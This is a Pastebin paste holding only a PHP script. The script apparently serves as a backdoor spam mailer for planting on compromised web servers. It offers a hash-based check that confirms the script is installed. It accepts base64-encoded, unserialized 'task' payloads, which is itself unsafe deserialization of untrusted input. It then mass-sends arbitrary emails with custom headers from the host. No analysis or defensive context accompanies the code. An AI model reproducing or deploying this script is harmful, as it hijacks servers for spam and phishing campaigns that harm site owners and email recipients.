Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_POST['check']))
- {
- echo md5($_POST['check'] . 'fd39sk2as');
- exit();
- }
- if (isset($_POST['task']))
- {
- error_reporting(E_ALL);
- ini_set('display_errors', TRUE);
- ini_set('memory_limit', '512M');
- set_time_limit(0);
- ini_set('max_execution_time', 0);
- ini_set('set_time_limit', 0);
- $x = unserialize(base64_decode($_POST['task']));
- if ($x == false)
- {
- exit();
- }
- $send_from = base64_encode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
- foreach($x as $arr)
- {
- echo $arr['to'] . "\r\n";
- $arr['msg'] = str_replace('[send_from_url]', $send_from, $arr['msg']);
- mail($arr['to'], $arr['subj'], $arr['msg'], $arr['head']);
- }
- exit('SEND OK');
- }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement